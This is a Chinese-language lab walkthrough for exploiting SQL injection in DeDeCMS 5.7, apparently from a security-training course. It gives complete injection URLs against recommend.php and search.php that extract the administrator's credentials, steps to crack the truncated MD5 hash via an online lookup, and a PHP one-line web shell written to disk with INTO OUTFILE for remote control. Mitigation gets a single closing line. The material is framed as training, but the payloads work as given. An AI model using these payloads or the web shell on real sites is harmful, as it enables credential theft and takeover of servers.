Web安全-DeDeCMS5.7版本SQL注入漏洞利用


實驗聲明:本實驗教程僅供研究學習使用,請勿用於非法用途,違者一律自行承擔所有風險!

DeDeCMS5.7版本SQL注入漏洞利用

實驗目的

  通過本實驗理解DeDeCMS5.7版本存在SQL注入漏洞帶來的危害,掌握針對漏洞的利用方法,熟悉CMS框架SQL注入漏洞的防護方法。

實驗環境

滲透主機:win2k8

用戶名: college 密碼: 360College 目標靶機:cms-inject 用戶名: college 密碼: 360College 訪問網站:http://IP:8081 

實驗步驟

第一步 錄目標靶機,啟動網站服務

1、啟動phpstudy(桌面圖標):

找到程序啟動位置

啟動服務

啟動成功時的表現

如果,顯示不是兩個綠色標志,則等待一會,按下重啟按鈕,再次嘗試。

第二步 滲透平台上訪問目標網站

(1)打開雲主機,輸入密碼360College登錄靶機

(2)輸入http://192.168.0.18:8081 訪問網站主頁:

第三步 利用SQL注入漏洞進行漏洞利用

(1)首先訪問“/data/admin/ver.txt”頁面獲取系統最后升級時間,(判斷是否是dede的cms 以及看看是否和這個漏洞相對應) 返回內容:

(2)訪問“/member/ajax_membergroup.php?action=post&membergroup=1”頁面,若返回內容:

表明可以進行SQL注入。

(3)利用SQL注入POC進行漏洞利用

http://IP:8081/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

執行后的效果為直接暴出用戶名、密碼。

與密碼相關的信息細節如下

其實,在search.php頁面,也存在注入漏洞。

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

執行結果如下:

即可得到管理員用戶名和密碼散列值。

重要說明: 得到的是20位的散列值,去掉前三位和最后一位,得到管理員的16位MD5值。 dedecms織夢管理員的密碼使用了MD5_16加密算法加密后經過運算生成一個20位的字符串。這個密文是用密碼通過32位的MD5加密規則,再去除前5位后7位而產生的。32位密文轉換成16位,其實就是取中間的16位。也就是說要在前面和后面分別去除8位。那么在20位密文中,只需要去除前3位和最后1位,就可以得到16位密文了。

這里的MD5應該為8e53a7600982b533

https://md5.navisec.it/ 查詢。 查到密碼為admin360。

(此處得到的散列值,可能不一樣,但是,查詢到的密碼值是一樣的)

注意:很多從網上直接復制過來的POC,直接粘貼在地址欄,無法攻擊成功。原因在於,復制過來的內容里面添加了很多回車符號!!! 切記,要放在word里面,去掉回車符號,成為一句話,才可以的。

登錄網址:http://192.168.0.18:8081/dede。

以獲取的口令密碼登錄成功

問題與解決: 如果登錄頁面為空,則在服務器端,將php版本切換為5.3.29+apache。重啟后,進行登錄實驗。

#2、漏洞的其他利用方式

轉換思路,可利用phpmyadmin數據庫上傳小馬。

在靶機的后台,http://IP:8088,登錄后,進入dedecms數據庫。

於是,利用Havij 利用phpmyadmin執行sql命令:

select '<?php eval($_POST[cmd]);?>' into outfile 'D:/WWW/Dedecms57/install/insta11.php'

在Dedecms的install目錄下,生成insta11.php,然后用菜刀連接。 菜刀連接路徑:http://IP:80881/install/insta11.php,連接密碼cmd。

(具體過程,可參考phpcms漏洞利用實驗)

思考與總結

  針對此漏洞的解決方案:升級DedeCms 至最新版;增加“membergroup”參數過濾。

  所以,建議,網站運維人員,要密切關注產品廠商信息,及時升級到最新版本。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM